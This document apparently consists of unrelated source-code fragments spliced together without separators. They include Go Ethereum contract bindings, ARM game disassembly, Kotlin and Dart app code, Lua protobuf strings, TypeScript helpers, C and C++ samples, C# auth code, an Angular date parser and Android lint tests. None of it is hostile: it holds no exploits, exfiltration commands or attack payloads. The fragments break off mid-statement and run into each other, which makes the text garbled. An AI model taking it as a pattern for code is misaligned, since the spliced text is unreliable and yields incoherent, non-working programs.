func(quit <-chan struct{}) error {
		defer sub.Unsubscribe()
		for {
			select {
			case log := <-logs:
				// New log arrived, parse the event and forward to the user
				event := new(HermezUpdateForgeL1L2BatchTimeout)
				if err := _Hermez.contract.UnpackLog(event, "UpdateForgeL1L2BatchTimeout", log); err != nil {
					return err
				}
				event.Raw = log

				select {
				case sink <- event:
				case err := <-sub.Err():
					return err
				case <-quit:
					return nil
				}
			case err := <-sub.Err():
				return err
			case <-quit:
				return nil
			}
		}
	}), nil
}

// ParseUpdateForgeL1L2BatchTimeout is a log parse operation binding the contract event 0xff6221781ac525b04585dbb55cd2ebd2a92c828ca3e42b23813a1137ac974431.
//
// Solidity: event UpdateForgeL1L2BatchTimeout(uint8 newForgeL1L2BatchTimeout)
func (_Hermez *HermezFilterer) ParseUpdateForgeL1L2BatchTimeout(log types.Log) (*HermezUpdateForgeL1L2BatchTimeout, error) {
	event := new(HermezUpdateForgeL1L2BatchTimeout)
	if err := _Hermez.contract.UnpackLog(event, "UpdateForgeL1L2BatchTimeout", log); err != nil {
		return nil, err
	}
	event.Raw = log
	return event, nil
}

// HermezUpdateTokenExchangeIterator is returned from FilterUpdateTokenExchange and is used to iterate over the raw logs and unpacked data for UpdateTokenExchange events raised by the Hermez contract.
type HermezUpdateTokenExchangeIterator struct {
	Event *HermezUpdateTokenExchange // Event containing the contract specifics and raw log

	contract *bind.BoundContract // Generic contract to use for unpacking event data
	event    string              // Event name to use for unpacking event data

	logs chan types.Log        // Log channel receiving the found contract events
	sub  ethereum.Subscription // Subscription for errors, completion and termination
	done bool                  // Whether the subscription completed delivering logs
	fail error                 // Occurred error to stop iteration
}

// Next advances the iterator to the subsequent event, returning whether there
// are any more events found. In case of a retrieval or parsing error, false is
// returned and Error() can be queried for the exact failure.
func (it *HermezUpdateTokenExchangeIterator) Next() bool {
	// If the iterator failed, stop iterating
	if it.fail != nil {
		return false
	}
	// If the iterator completed, deliver directly whatever's available
	if it.done {
		select {
		case log := <-it.logs:
			it.Event = new(HermezUpdateTokenExchange)
			if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil {
				it.fail = err
				return false
			}
			it.Event.Raw = log
			return true

		default:
			return false
		}
	}
	// Iterator still in progress, wait for either a data or an error event
	select {
	case log := <-it.logs:
		it.Event = new(HermezUpdateTokenExchange)
		if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil {
			it.fail = err
			return false
		}
		it.Event.Raw = log
		return true

	case err := <-it.sub.Err():
		it.done = true
		it.fail = err
		return it.Next()
	}
}

// Error returns any retrieval or parsing error occurred during filtering.
func (it *HermezUpdateTokenExchangeIterator) Error() error {
	return it.fail
}

// Close


0, #0
	str r1, [sp]
	mov r0, #0xff
	str r0, [sp, #4]
	ldr r0, _021F704C ; =0x000F0E00
	add r2, r4, #0
	str r0, [sp, #8]
	add r0, r7, #4
	add r3, r1, #0
	str r1, [sp, #0xc]
	bl AddTextPrinterParameterizedWithColor
	add r0, r4, #0
	bl String_Delete
	add r0, r7, #4
	mov r4, #1
	mov r5, #0
	str r0, [sp, #0x18]
_021F6FE4:
	ldr r0, [sp, #0x14]
	cmp r5, r0
	beq _021F7026
	ldr r0, [sp, #0x10]
	add r1, r5, #0
	bl ov96_021E5F34
	ldr r1, [r7, #0x54]
	bl PlayerProfile_GetPlayerName_NewString
	add r6, r0, #0
	mov r0, #0
	str r0, [sp]
	mov r0, #0xff
	str r0, [sp, #4]
	ldr r0, _021F704C ; =0x000F0E00
	lsl r1, r4, #4
	str r0, [sp, #8]
	mov r0, #0
	str r0, [sp, #0xc]
	ldr r0, [sp, #0x18]
	add r2, r6, #0
	add r0, r0, r1
	mov r1, #0
	add r3, r1, #0
	bl AddTextPrinterParameterizedWithColor
	add r0, r6, #0
	bl String_Delete
	add r0, r4, #1
	lsl r0, r0, #0x18
	lsr r4, r0, #0x18
_021F7026:
	add r0, r5, #1
	lsl r0, r0, #0x18
	lsr r5, r0, #0x18
	cmp r5, #4
	blo _021F6FE4
	mov r4, #0
	add r5, r7, #4
_021F7034:
	lsl r0, r4, #4
	add r0, r5, r0
	bl CopyWindowToVram
	add r0, r4, #1
	lsl r0, r0, #0x18
	lsr r4, r0, #0x18
	cmp r4, #5
	blo _021F7034
	add sp, #0x1c
	pop {r4, r5, r6, r7, pc}
	nop
_021F704C: .word 0x000F0E00
	thumb_func_end ov96_021F6F80

	thumb_func_start ov96_021F7050
ov96_021F7050: ; 0x021F7050
	push {r3, r4, r5, r6, r7, lr}
	add r5, r0, #0
	ldr r7, _021F70A8 ; =ov96_0221C1CC
	mov r4, #0
	add r6, r5, #4
_021F705A:
	lsl r1, r4, #4
	lsl r2, r4, #3
	ldr r0, [r5]
	add r1, r6, r1
	add r2, r7, r2
	bl AddWindow
	add r0, r4, #1
	lsl r0, r0, #0x18
	lsr r4, r0, #0x18
	cmp r4, #5
	blo _021F705A


undedValue / dotAt) + (roundedValue % dotAt).toFloat() / dotAt
}

fun <T> chunk(list: List<T>, size: Int): List<List<T>> {
    val chunkedList = mutableListOf<List<T>>()

    for (i in 0..list.size step size) {
        var chunkIndex = i + size
        if (chunkIndex > list.size) {
            chunkIndex = i + (list.size % size)
        }

        chunkedList.add(list.slice(i until chunkIndex))
    }

    return chunkedList.toList()
}

fun until(start: Int, end: Int, incrementStep: Int, body: (idx: Int) -> Unit) {
    for (i in start until end step incrementStep) {
        body(i)
    }
}

fun downTo(start: Int, end: Int, incrementStep: Int, body: (idx: Int) -> Unit) {
    for (i in start downTo end step incrementStep) {
        body(i)
    }
}

fun rgba2rgb(rgbBg: Color, rgbFg: Color, alpha: Float): Color {
    return Color(
        (1 - alpha) * rgbBg.red + alpha * rgbFg.red,
        (1 - alpha) * rgbBg.green + alpha * rgbFg.green,
        (1 - alpha) * rgbBg.blue + alpha * rgbFg.blue
    )
}

fun formatCode(str: String) = buildAnnotatedString {
    withStyle(EditorStyles.simple) {
        var strFormatted = str.replace("\t", "    ")
        append(strFormatted)

        addStyle(EditorStyles.punctuation, strFormatted, "=")
        addStyle(EditorStyles.punctuation, strFormatted, ":")
        addStyle(EditorStyles.namedArgument, strFormatted, Regex("[a-zA-z]+\\s="))
        addStyle(EditorStyles.keyword, strFormatted, Regex("[a-zA-z]+\\."))
        addStyle(EditorStyles.function, strFormatted, Regex("[a-zA-z]+\\("))
        addStyle(EditorStyles.function, strFormatted, Regex("\\.[a-zA-z]+\\("))
        addStyle(EditorStyles.property, strFormatted, Regex("\\.[a-zA-z]+"))
        addStyle(EditorStyles.simple, strFormatted, Regex("[\\[\\]\\(\\)\\.\\{\\}]"))
        addStyle(EditorStyles.extension, strFormatted, Regex("(RectangleShape|CircleShape)[^\\(]"))
        addStyle(EditorStyles.value, strFormatted, "Modifier")
        addStyle(EditorStyles.number, strFormatted, Regex("(-*\\df*)"))
        addStyle(EditorStyles.extension, strFormatted, Regex("(\\.dp|\\.sp)"), 1)
        addStyle(EditorStyles.annotation, strFormatted, Regex("^@[a-zA-Z_]+"))
        addStyle(EditorStyles.comment, strFormatted, Regex("^\\s*//.*"))
        addStyle(EditorStyles.keyword, strFormatted, ",")
        addStyle(EditorStyles.string, strFormatted, "\"")
    }
}

private fun AnnotatedString.Builder.addStyle(style: SpanStyle, text: String, regexp: String, skip: Int = 0) {
    addStyle(style, text, Regex.fromLiteral(regexp), skip)
}

private fun AnnotatedString.Builder.addStyle(style: SpanStyle, text: String, regexp: Regex, skip: Int = 0) {
    for (result in regexp.findAll(text)) {
        addStyle(style, result.range.first + skip, result.range.last + 1)
    }
}

@Composable
fun DotsBackground(modifier: Modifier) {
    val contentColor = rgba2rgb(
        MaterialTheme.colors.background,
        MaterialTheme.colors.onBackground,
        0.15f
    )
    val density = LocalDensity.current.density

    Canvas(
        modifier.fillMaxSize()
    ) {
        val canvasWidth = size.width
        val canvasHeight = size.height
        val circleColor = SolidColor(contentColor)


id19.data.model.indonesia.IndonesiaDaily
import id.rizmaulana.covid19.data.model.indonesia.IndonesiaPerProvince
import id.rizmaulana.covid19.ui.adapter.viewholders.PerCountryItem
import io.reactivex.Completable
import io.reactivex.Observable

interface Repository {
    fun overview(): Observable<Result<CovidOverview>>
    fun daily(): Observable<Result<List<CovidDaily>>>
    fun confirmed(): Observable<List<CovidDetail>>
    fun deaths(): Observable<List<CovidDetail>>
    fun recovered(): Observable<List<CovidDetail>>
    fun country(id: String): Observable<CovidOverview>
    fun fullStats(): Observable<List<CovidDetail>>
    fun pinnedRegion(): Observable<Result<CovidDetail>>
    fun putPinnedRegion(data: CovidDetail): Completable
    fun removePinnedRegion(): Completable
    fun getCachePinnedRegion(): CovidDetail?
    fun getCacheOverview(): CovidOverview?
    fun getCacheDaily(): List<CovidDaily>?
    fun getCacheConfirmed(): List<CovidDetail>?
    fun getCacheDeath(): List<CovidDetail>?
    fun getCacheRecovered(): List<CovidDetail>?
    fun getCacheFull(): List<CovidDetail>?
    fun getCacheCountry(id: String): CovidOverview?
    fun getPerCountryItem(): List<PerCountryItem>
    fun getIndonesiaDaily(): Observable<List<IndonesiaDaily>>
    fun getIndonesiaPerProvince(): Observable<List<IndonesiaPerProvince>>

}/*
 * Copyright (c) 2024 Robert Jaros
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

package dev.kilua.rpc.gradle

import org.gradle.api.model.ObjectFactory
import org.gradle.api.provider.Property
import org.gradle.api.provider.ProviderFactory
import org.gradle.kotlin.dsl.property
import javax.inject.Inject

/**
 * Configuration for the Kilua RPC plugin.
 *
 * The default values are set in [KiluaRpcPlugin.createKiluaRpcExtension].
 */
public abstract class KiluaRpcExtension @Inject constructor(
    private val objects: ObjectFactory,
    private val providers: ProviderFactory,
) {

    public val enableGradleTasks: Property<Boolean> = kiluaRpcGradleProperty("enableGradleTasks", true)

    public val jarArchiveFileName: Property<String> = kiluaRpcGradleProperty("jarArchiveFileName")

    private fun kiluaRpcGradleProperty(
        property: String,
        default: Boolean,
    ): Property<Boolean> {
        val convention = providers.gradleProperty("dev.kilua.rpc.plugin.$property")
            .map { it.toBoolean() }
            .orElse(default)
        return objects.property<Boolean>().convention(convention)
    }

    private fun kiluaRpcGradleProperty(
        property: String,
    ): Property<String> {
        val convention = providers.gradleProperty("dev.kilua.rpc.plugin.$property")


 viewBox="0 0 48 48"><path fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="M40.5 5.5h-33a2 2 0 00-2 2v33a2 2 0 002 2h33a2 2 0 002-2v-33a2 2 0 00-2-2Z"/><path fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="m38.919 24.65-.476 2.698a2.488 2.488 0 01-2.351 1.999h0a1.66 1.66 0 01-1.31-.586"/><path fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="m39.5 21.352-.581 3.298a2.488 2.488 0 01-2.351 1.999h0a1.631 1.631 0 01-1.647-1.999l.582-3.298M8.5 25.772a1.858 1.858 0 001.806.876h1.183a2.485 2.485 0 002.347-1.998h0a1.63 1.63 0 00-1.642-1.999h-1.308a1.63 1.63 0 01-1.641-1.998h0a2.485 2.485 0 012.346-1.999h1.184a1.858 1.858 0 011.806.876m5.533 5.12a2.488 2.488 0 01-2.351 1.999h0a1.63 1.63 0 01-1.646-1.999l.581-3.298"/><path fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="M20.561 26.648a.652.652 0 01-.658-.8l.792-4.496m2.079 1.998a2.488 2.488 0 012.351-1.999h0a1.631 1.631 0 011.646 1.999l-.229 1.3a2.488 2.488 0 01-2.35 1.999h0a1.631 1.631 0 01-1.647-1.999m-.352 1.998 1.409-7.994m5.499 4.696a2.488 2.488 0 012.352-1.999h0a1.631 1.631 0 011.646 1.999l-.229 1.3a2.488 2.488 0 01-2.351 1.999h0a1.63 1.63 0 01-1.647-1.999m-.352 1.998 1.41-7.994"/></svg>';
  static const String subhub =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="48" height="48" preserveAspectRatio="xMidYMid meet" viewBox="0 0 48 48"><path fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" d="m19.3 4.5 21.1 12.267v13.261L19.52 43.5 7.6 37.087V11.412Zm10.918 32.043L7.599 23.853m22.593-12.795.026 25.485M7.6 23.853l22.592-12.795M18.406 17.75l.233 12.229m11.3-6.129-11.3 6.129"/></svg>';
  static const String subito =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="48" height="48" preserveAspectRatio="xMidYMid meet" viewBox="0 0 48 48"><circle cx="24" cy="24" r="21.5" fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"/><rect width="4.747" height="18.109" x="20.145" y="13.059" fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" rx="1.113" transform="rotate(-45.008 22.518 22.113)"/><rect width="4.751" height="14.806" x="14.521"


ndo: true,
  ),
  SnackBarType.FOLLOW_THREAD: SnackBarConfig(
    id: I18n.t('snack.bar.following.thread'),
    defaultMessage: 'Thread followed',
    iconName: 'check',
    canUndo: true,
  ),
  SnackBarType.INFO_COPIED: SnackBarConfig(
    id: I18n.t('snack.bar.info.copied'),
    defaultMessage: 'Info copied to clipboard',
    iconName: 'content-copy',
    canUndo: false,
  ),
  SnackBarType.LINK_COPIED: SnackBarConfig(
    id: I18n.t('snack.bar.link.copied'),
    defaultMessage: 'Link copied to clipboard',
    iconName: 'link-variant',
    canUndo: false,
    type: MessageType.SUCCESS,
  ),
  SnackBarType.MESSAGE_COPIED: SnackBarConfig(
    id: I18n.t('snack.bar.message.copied'),
    defaultMessage: 'Text copied to clipboard',
    iconName: 'content-copy',
    canUndo: false,
  ),
  SnackBarType.MUTE_CHANNEL: SnackBarConfig(
    id: I18n.t('snack.bar.mute.channel'),
    defaultMessage: 'This channel was muted',
    iconName: 'bell-off-outline',
    canUndo: true,
  ),
  SnackBarType.REMOVE_CHANNEL_USER: SnackBarConfig(
    id: I18n.t('snack.bar.remove.user'),
    defaultMessage: '1 member was removed from the channel',
    iconName: 'check',
    canUndo: true,
  ),
  SnackBarType.TEXT_COPIED: SnackBarConfig(
    id: I18n.t('snack.bar.text.copied'),
    defaultMessage: 'Copied to clipboard',
    iconName: 'content-copy',
    canUndo: false,
    type: MessageType.SUCCESS,
  ),
  SnackBarType.UNFAVORITE_CHANNEL: SnackBarConfig(
    id: I18n.t('snack.bar.unfavorite.channel'),
    defaultMessage: 'This channel was unfavorited',
    iconName: 'star-outline',
    canUndo: true,
  ),
  SnackBarType.UNMUTE_CHANNEL: SnackBarConfig(
    id: I18n.t('snack.bar.unmute.channel'),
    defaultMessage: 'This channel was unmuted',
    iconName: 'bell-outline',
    canUndo: true,
  ),
  SnackBarType.UNFOLLOW_THREAD: SnackBarConfig(
    id: I18n.t('snack.bar.unfollow.thread'),
    defaultMessage: 'Thread unfollowed',
    iconName: 'check',
    canUndo: true,
  ),
};

class SnackBarConstants {
  static const SNACK_BAR_TYPE = SnackBarType;
  static const SNACK_BAR_CONFIG = SNACK_BAR_CONFIG;
}
// Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved.
// See LICENSE.txt for license information.

import 'package:watermelondb/watermelondb.dart';
import 'package:mattermost_flutter/constants/database.dart';
import 'package:mattermost_flutter/database/manager.dart';
import 'package:mattermost_flutter/types/database/models/app/global.dart';

class GlobalQueries {
  static const GLOBAL = MM_TABLES.APP.GLOBAL;

  Future<String> getDeviceToken() async {
    try {
      final database = DatabaseManager.getAppDatabaseAndOperator().database;
      final tokens = await database.get<GlobalModel>(GLOBAL).find(GLOBAL_IDENTIFIERS.DEVICE_TOKEN);
      return tokens?.value ?? '';
    } catch (e) {


= "\006 \003(\v2'.google.protobuf.ServiceDescriptorProto\0188\n\textension"
  L26_1 = "\024\a \003(\v2%.google.protobuf.FieldDescriptorProto\018-\n\aoptions\024"
  L27_1 = "\b \001(\v2\028.google.protobuf.FileOptions\0189\n\016source_code_info\024"
  L28_1 = "\t \001(\v2\031.google.protobuf.SourceCodeInfo\018\014\n\006syntax\024\f \001("
  L29_1 = "\t\"\228\003\n\015DescriptorProto\018\f\n\004name\024\001 \001(\t\0184\n\005field"
  L30_1 = "\024\002 \003(\v2%.google.protobuf.FieldDescriptorProto\0188\n\textension"
  L31_1 = "\024\006 \003(\v2%.google.protobuf.FieldDescriptorProto\0185\n\vnested_ty"
  L32_1 = "pe\024\003 \003(\v2 .google.protobuf.DescriptorProto\0187\n\tenum_type\024"
  L33_1 = "\004 \003(\v2$.google.protobuf.EnumDescriptorProto\018H\n\015extension_rang"
  L34_1 = "e\024\005 \003(\v2/.google.protobuf.DescriptorProto.ExtensionRange\0189\n"
  L35_1 = "\noneof_decl\024\b \003(\v2%.google.protobuf.OneofDescriptorProto\0180"
  L36_1 = "\n\aoptions\024\a \001(\v2\031.google.protobuf.MessageOptions\026,\n\014Ex"
  L37_1 = "tensionRange\018\r\n\005start\024\001 \001(\005\018\v\n\003end\024\002 \001(\005\"\169\005"
  L38_1 = "\n\020FieldDescriptorProto\018\f\n\004name\024\001 \001(\t\018\014\n\006number\024"
  L39_1 = "\003 \001(\005\018:\n\005label\024\004 \001(\0142+.google.protobuf.FieldDescriptorPro"
  L40_1 = "to.Label\0188\n\004type\024\005 \001(\0142*.google.protobuf.FieldDescriptorPro"
  L41_1 = "to.Type\018\017\n\ttype_name\024\006 \001(\t\018\016\n\bextendee\024\002 \001(\t\018"
  L42_1 = "\021\n\rdefault_value\024\a \001(\t\018\019\n\voneof_index\024\t \001(\005\018."
  L43_1 = "\n\aoptions\024\b \001(\v2\029.google.protobuf.FieldOptions\"\182\002\n\004T"
  L44_1 = "ype\018\015\n\vTYPE_DOUBLE\016\001\018\014\n\nTYPE_FLOAT\016\002\018\014\n\nTY"
  L45_1 = "PE_INT64\016\003\018\015\n\vTYPE_UINT64\016\004\018\014\n\nTYPE_INT32\016\005\018"
  L46_1 = "\016\n\fTYPE_FIXED64\016\006\018\016\n\fTYPE_FIXED32\016\a\018\r\n\tTYPE_B"
  L47_1 = "OOL\016\b\018\015\n\vTYPE_STRING\016\t\018\014\n\nTYPE_GROUP\016\n\018\016"
  L48_1 = "\n\fTYPE_MESSAGE\016\v\018\014\n\nTYPE_BYTES\016\f\018\015\n\vTYPE_UIN"
  L49_1 = "


 config,
                ...options,
              });
        }
    } else {
        return instance.request<T, T>(config);
    }
}

export function post<T = any>(
    config: AxiosRequestConfig,
    options?: AxiosRequestConfig,
  ): Promise<T> {
    return request({ ...config, method: 'POST' }, options);
  }

export function get<T = any>(config: AxiosRequestConfig, options?: AxiosRequestConfig): Promise<T> {
    return request({ ...config, method: 'GET' }, options);
}

export default request;import {Animal} from './animal';
import {Cat} from './cat';
import {Dog} from './dog';

export class Vet {
  private static instance: Vet;

  static getInstance(): Vet {
    if (!Vet.instance) {
      Vet.instance = new Vet();
    }
    return Vet.instance;
  }

  public prepareAnimal(dog: Dog): void;
  public prepareAnimal(cat: Cat): void;
  public prepareAnimal(animal: any): void {
    if (animal.constructor.name === 'Dog') {
      animal.setClear();
    } else if (animal.constructor.name === 'Cat') {
      animal.setWet();
    }
  }

  public cure(animal: Animal): void {
    const voice = animal.giveVoice();
    const limb = animal.getLimbs();
    for (let i = 0; i < limb; i++) {
      console.log(voice);
    }
  }
}
export function uniqueID() {
    return (Date.now() + parseInt((Math.random() + '').slice(2))).toString(36);
}

function readQuoteValue(raw: string) {
    const quote = raw[0];
    const index = raw.indexOf(quote, 1);

    if (index < 0) throw SyntaxError(`A ${quote} is missing`);

    return raw.slice(1, index);
}

export function parseTextTable<T = {}>(
    raw: string,
    header?: boolean,
    separator = ','
) {
    const data = raw
        .trim()
        .split(/[\r\n]+/)
        .map(row => {
            const list = [];

            do {
                let value: string;

                if (row[0] === '"' || row[0] === "'") {
                    value = readQuoteValue(row);

                    row = row.slice(value.length + 3);
                } else {
                    const index = row.indexOf(separator);

                    if (index > -1) {
                        value = row.slice(0, index);

                        row = row.slice(index + 1);
                    } else {
                        value = row;

                        row = '';
                    }
                }

                try {
                    value = value.trim();

                    list.push(JSON.parse(value));
                } catch (error) {
                    list.push(value);
                }
            } while (row);

            return list;
        });

    return !header
        ? data
        : data.slice(1).map(row =>
              row.reduce((object, item, index) => {
                  object[data[0][index]] = item;

                  return object;
              }, {} as T)
          );
}

const sandbox = document.createElement('template'),
    fragment = document.createDocumentFragment();

export function parseDOM(HTML: string) {
    sandbox.innerHTML = HTML;

    return [...sandbox.content.childNodes].map(node => {
        node.remove();
        return node;
    });
}

export function* walkDOM(root: Node): Generator<Node> {
    const children = [...root.childNodes];

    yield root;

    for (const node of children) yield* walkDOM(node);
}

export function insertToCursor(...nodes: Node[]) {


/*
    DeaDBeeF -- the music player
    Copyright (C) 2009-2018 Oleksiy Yakovenko and other contributors

    This software is provided 'as-is', without any express or implied
    warranty.  In no event will the authors be held liable for any damages
    arising from the use of this software.

    Permission is granted to anyone to use this software for any purpose,
    including commercial applications, and to alter it and redistribute it
    freely, subject to the following restrictions:

    1. The origin of this software must not be misrepresented; you must not
     claim that you wrote the original software. If you use this software
     in a product, an acknowledgment in the product documentation would be
     appreciated but is not required.

    2. Altered source versions must be plainly marked as such, and must not be
     misrepresented as being the original software.

    3. This notice may not be removed or altered from any source distribution.
*/

#include <limits.h>

char sys_install_path[PATH_MAX]; // see deadbeef->get_prefix
char confdir[PATH_MAX]; // $HOME/.config
char dbconfdir[PATH_MAX]; // $HOME/.config/deadbeef
char dbinstalldir[PATH_MAX]; // see deadbeef->get_prefix
char dbdocdir[PATH_MAX]; // see deadbeef->get_doc_dir
char dbplugindir[PATH_MAX]; // see deadbeef->get_plugin_dir
char dbpixmapdir[PATH_MAX]; // see deadbeef->get_pixmap_dir
char dbcachedir[PATH_MAX];
char dbresourcedir[PATH_MAX];
char dbstatedir[PATH_MAX]; // $HOME/.local/state/deadbeef


32
                    else if (memoryTypeIn == amf::AMF_MEMORY_DX9)
                    {
                        FillSurfaceDX9(pContext, pSurfaceIn, false);
                    }
                    else if (memoryTypeIn == amf::AMF_MEMORY_DX11)
                    {
                        FillSurfaceDX11(pContext, pSurfaceIn, false);
                    }
                    else if (memoryTypeIn == amf::AMF_MEMORY_DX12)
                    {
                        FillSurfaceDX12(pContext, pSurfaceIn, false);
                    }
#endif
                }
            }

            amf_pts start_time = amf_high_precision_clock();
            pSurfaceIn->SetProperty(START_TIME_PROPERTY, start_time);

            res = pFRC->SubmitInput(pSurfaceIn);
            if (res == AMF_NEED_MORE_INPUT || res == AMF_INPUT_FULL)
            {
                // do nothing
            }
            else
            {
                AMF_RETURN_IF_FAILED(res, L"SubmitInput() failed");
                pSurfaceIn = NULL;
                submitted++;
            }

            while (true)
            {
                amf::AMFSurfacePtr pSurfaceOut;
                res = pFRC->QueryOutput((amf::AMFData**)&pSurfaceOut);
                if (res == AMF_EOF)
                {
                    break; // Drain complete
                }
                if ((res != AMF_OK) && (res != AMF_REPEAT))
                {
                    // trace possible error message
                    break; // Drain complete
                }
                if (pSurfaceOut != NULL)
                {
                    if (skipOutputDump == false && outfile != NULL)
                    {
                        dumpSurface(outfile, pSurfaceOut);
                    }
                }
                else
                {
                    break;
                }
            }
        }

        pColor1 = NULL;
        pColor2 = NULL;
        pColor3 = NULL;
        pColor4 = NULL;

        // cleanup in this order
        pSurfaceIn = NULL;
        pFileReader = NULL; // pFileReader->Terminate() is private, it is automatically called inside its destructor
        pFRC->Terminate();
        pFRC = NULL;
        pContext->Terminate();
        pContext = NULL; // context is the last

        g_AMFFactory.Terminate();
    }

    return AMF_OK;
}

#ifdef _WIN32
int _tmain(int /*argc*/, _TCHAR* /*argv*/[])
#else
int main(int argc, char* argv[])
#endif
{
    ParametersStorage params;
    RegisterParams(&params);

#if defined(_WIN32)
    if (!parseCmdLineParameters(&params))
#else
    if (!parseCmdLineParameters(&params, argc, argv))
#endif
    {
        return -1;
    }

    amf_bool useDefaultFrames = false;
    amf_wstring tempin;
    if (params.GetParamWString(PARAM_NAME_INPUT, tempin) == AMF_OK)
    {
        infileName = tempin.c_str();
    }
    else
    {
        wprintf(L"No input file, using default surfaces\n");
        useDefaultFrames = true;
    }

    amf_bool skipOutputDump = false;
    amf_wstring tempout;
    if (params.GetParamWString(PARAM_NAME_OUTPUT, tempout) == AMF_OK)
    {
        outfileName = tempout.c_str();
    }
    else
    {
        wprintf(L"No output file, skipping output dump\n");
        skipOutputDump = true;
    }

    params.GetParam(PARAM_NAME_INPUT_WIDTH, widthIn);
    params


r);
    }

    /// <summary>
    /// Checks if the redirect URI is for a native client.
    /// </summary>
    public static bool IsNativeClient(this AuthorizationRequest context)
    {
        return !context.RedirectUri.StartsWith("https", StringComparison.Ordinal)
               && !context.RedirectUri.StartsWith("http", StringComparison.Ordinal);
    }

    /// <summary>
    /// Renders a loading page that is used to redirect back to the redirectUri.
    /// </summary>
    public static IActionResult LoadingPage(this PageModel page, string redirectUri)
    {
        page.HttpContext.Response.StatusCode = 200;
        page.HttpContext.Response.Headers["Location"] = "";

        return page.RedirectToPage("/Redirect/Index", new { RedirectUri = redirectUri });
    }
}


       regex: '[1-9]|1[0-2]',
        apply: function(value) { this.month = value - 1; }
      },
      'dd': {
        regex: '[0-2][0-9]{1}|3[0-1]{1}',
        apply: function(value) { this.date = +value; }
      },
      'd': {
        regex: '[1-2]?[0-9]{1}|3[0-1]{1}',
        apply: function(value) { this.date = +value; }
      },
      'EEEE': {
        regex: $locale.DATETIME_FORMATS.DAY.join('|')
      },
      'EEE': {
        regex: $locale.DATETIME_FORMATS.SHORTDAY.join('|')
      },
      'HH': {
        regex: '(?:0|1)[0-9]|2[0-3]',
        apply: function(value) { this.hours = +value; }
      },
      'hh': {
        regex: '0[0-9]|1[0-2]',
        apply: function(value) { this.hours = +value; }
      },
      'H': {
        regex: '1?[0-9]|2[0-3]',
        apply: function(value) { this.hours = +value; }
      },
      'h': {
        regex: '[0-9]|1[0-2]',
        apply: function(value) { this.hours = +value; }
      },
      'mm': {
        regex: '[0-5][0-9]',
        apply: function(value) { this.minutes = +value; }
      },
      'm': {
        regex: '[0-9]|[1-5][0-9]',
        apply: function(value) { this.minutes = +value; }
      },
      'sss': {
        regex: '[0-9][0-9][0-9]',
        apply: function(value) { this.milliseconds = +value; }
      },
      'ss': {
        regex: '[0-5][0-9]',
        apply: function(value) { this.seconds = +value; }
      },
      's': {
        regex: '[0-9]|[1-5][0-9]',
        apply: function(value) { this.seconds = +value; }
      },
      'a': {
        regex: $locale.DATETIME_FORMATS.AMPMS.join('|'),
        apply: function(value) {
          if (this.hours === 12) {
            this.hours = 0;
          }

          if (value === 'PM') {
            this.hours += 12;
          }
        }
      }
    };
  };

  this.init();

  function createParser(format) {
    var map = [], regex = format.split('');

    angular.forEach(formatCodeToRegex, function(data, code) {
      var index = format.indexOf(code);

      if (index > -1) {
        format = format.split('');

        regex[index] = '(' + data.regex + ')';
        format[index] = '$'; // Custom symbol to define consumed part of format
        for (var i = index + 1, n = index + code.length; i < n; i++) {
          regex[i] = '';
          format[i] = '$';
        }
        format = format.join('');

        map.push({ index: index, apply: data.apply });
      }
    });

    return {
      regex: new RegExp('^' + regex.join('') + '$'),
      map: orderByFilter(map, 'index')
    };
  }

  this.parse = function(input, format, baseDate) {
    if (!angular.isString(input) || !format) {
      return input;
    }

    format = $locale.DATETIME_FORMATS[format] || format;
    format = format.replace(SPECIAL_CHARACTERS_REGEXP, '\\$&');

    if ($locale.id !== localeId) {
      this.init();
    }

    if (!this.parsers[format]) {
      this.


n()
      .expect(
        """
            |src/Test.java:4: Warning: Should not be using android.app.AlertDialog [AlertDialogUsage]
            |  public Test(AlertDialog dialog) { }
            |              ~~~~~~~~~~~~~~~~~~
            |0 errors, 1 warnings
        """.trimMargin(),
      )
  }

  @Test fun superParameterInKotlin() {
    lint()
      .allowCompilationErrors()
      .files(
        kt(
          """
            import android.app.AlertDialog

            class Test : AlertDialog
          """,
        ).indented(),
      )
      .issues(ISSUE_ALERT_DIALOG_USAGE)
      .run()
      .expect(
        """
            |src/Test.kt:3: Warning: Should not be using android.app.AlertDialog [AlertDialogUsage]
            |class Test : AlertDialog
            |             ~~~~~~~~~~~
            |0 errors, 1 warnings
        """.trimMargin(),
      )
  }

  @Test fun superParameterInJava() {
    lint()
      .allowCompilationErrors()
      .files(
        java(
          """
            import android.app.AlertDialog;

            class Test extends AlertDialog {
            }
          """,
        ).indented(),
      )
      .issues(ISSUE_ALERT_DIALOG_USAGE)
      .run()
      .expect(
        """
            |src/Test.java:3: Warning: Should not be using android.app.AlertDialog [AlertDialogUsage]
            |class Test extends AlertDialog {
            |                   ~~~~~~~~~~~
